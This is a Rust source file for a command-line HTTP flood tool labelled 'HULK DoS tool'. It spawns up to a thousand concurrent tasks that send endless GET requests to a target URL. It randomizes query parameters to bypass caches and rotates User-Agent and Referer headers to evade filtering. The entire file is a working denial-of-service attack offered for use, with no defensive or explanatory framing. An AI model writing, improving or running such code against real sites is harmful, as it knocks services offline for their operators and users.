use clap::Parser;
use futures::future::join_all;
use hyper::body::HttpBody as _;
use hyper::{Body, Client, Request};
use hyper_tls::HttpsConnector;
use rand::distributions::Alphanumeric;
use rand::{thread_rng, Rng};
use std::sync::atomic::{AtomicUsize, Ordering};
use std::{
fs::File,
io,
io::{prelude::*, BufReader, Write},
path::Path,
};
static REQ_COUNT: AtomicUsize = AtomicUsize::new(0);
static ERR_COUNT: AtomicUsize = AtomicUsize::new(0);
static FAIL_COUNT: AtomicUsize = AtomicUsize::new(0);
static USER_AGENTS: &[&str] = &[
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.99 Safari/537.36",
"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:96.0) Gecko/20100101 Firefox/96.0",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.99 Safari/537.36",
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36",
"Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0",
"Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:96.0) Gecko/20100101 Firefox/96.0",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.2 Safari/605.1.15",
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.99 Safari/537.36 Edg/97.0.1072.69",
"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.99 Safari/537.36",
"Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0",
];
static REFERERS: &[&str] = &[
"https://www.google.com/?q=",
"https://bing.com/search?q=",
"https://yandex.ru/yandsearch?text=",
];
#[derive(Parser, Debug)]
#[clap(author = "Hexalyse", about = "HULK DoS tool")]
struct CliArguments {
#[clap(short, default_value = "1000")]
max_connections: usize,
target: String,
#[clap(short, long, takes_value = false, required = false)]
verbose: bool,
#[clap(short, takes_value = true, required = false)]
user_agents_file: Option<String>,
#[clap(short, takes_value = true, required = false)]
parameter_name: Option<String>,
#[clap(short, takes_value = true, required = false)]
referers_file: Option<String>,
}
fn lines_from_file(filename: impl AsRef<Path> + std::marker::Copy) -> Vec<String> {
let file = File::open(filename)
.unwrap_or_else(|_| panic!("No such file: {}", filename.as_ref().display()));
let buf = BufReader::new(file);
buf.lines()
.map(|l| l.expect("Could not parse line"))
.filter(|x| !x.is_empty())
.collect()
}
fn random_string(n: usize) -> String {
thread_rng()
.sample_iter(&Alphanumeric)
.take(n)
.map(char::from)
.collect()
}
#[tokio::main]
async fn main() -> Result<(), Box<dyn std::error::Error + Send + Sync>> {
let args = CliArguments::parse();
let user_agents = if let Some(user_agents_file) = args.user_agents_file {
lines_from_file(user_agents_file.as_str())
} else {
USER_AGENTS.iter().map(|x| x.to_string()).collect()
};
let referers = if let Some(referers_file) = args.referers_file {
lines_from_file(referers_file.as_str())
} else {
REFERERS.iter().map(|x| x.to_string()).collect()
};
println!("[*] Starting HULK attack on {}", args.target);
let tasks = (0..args.max_connections).map(|_| {
let target = args.target.clone();
let parameter_name = args.parameter_name.clone();
let user_agents = user_agents.clone();
let referers = referers.clone();
tokio::spawn(async move {
fetch_url(target, args.verbose, parameter_name, user_agents, referers).await
})
});
join_all(tasks).await;
Ok(())
}
async fn fetch_url(
target: String,
verbose: bool,
parameter_name: Option<String>,
user_agents: Vec<String>,
referers: Vec<String>,
) -> Result<(), Box<dyn std::error::Error + Send + Sync>> {
let https = HttpsConnector::new();
let client = Client::builder().build::<_, hyper::Body>(https);
let user_agents_len = user_agents.len();
let referers_len = referers.len();
loop {
let uri = if target.contains('?') {
format!(
"{}&{}={}",
target,
parameter_name
.as_deref()
.unwrap_or(random_string(10).as_str()),
random_string(10)
)
} else {
format!(
"{}?{}={}",
target,
parameter_name
.as_deref()
.unwrap_or(random_string(10).as_str()),
random_string(10)
)
};
let referer = format!(
"{}{}",
referers[thread_rng().gen_range(0..referers_len)],
random_string(thread_rng().gen_range(5..10))
);
let user_agent = user_agents[thread_rng().gen_range(0..user_agents_len)].clone();
let total_reqs = REQ_COUNT.fetch_add(1, Ordering::Relaxed);
let request = Request::get(uri)
.header("User-Agent", user_agent)
.header("Referer", referer)
.body(Body::empty())
.unwrap();
let resp = client.request(request).await;
let mut resp = match resp {
Ok(resp) => resp,
Err(_) => {
FAIL_COUNT.fetch_add(1, Ordering::Relaxed);
continue;
}
};
if resp.status().as_u16() >= 400 {
if verbose {
println!("\n[!] Error: {}", resp.status());
}
ERR_COUNT.fetch_add(1, Ordering::Relaxed);
}
if total_reqs % 10 == 0 {
let err_count = ERR_COUNT.load(Ordering::Relaxed);
let fail_count = FAIL_COUNT.load(Ordering::Relaxed);
let total_reqs = REQ_COUNT.fetch_add(1, Ordering::Relaxed);
let ok_count = if total_reqs >= err_count + fail_count {
total_reqs - (err_count + fail_count)
} else {
0
};
print!(
"\r[*] {} requests | {} OK | {} server errors | {} failed requests",
total_reqs,
ok_count,
err_count,
fail_count
);
io::stdout().flush().ok();
}
resp.body_mut().data().await;
}
}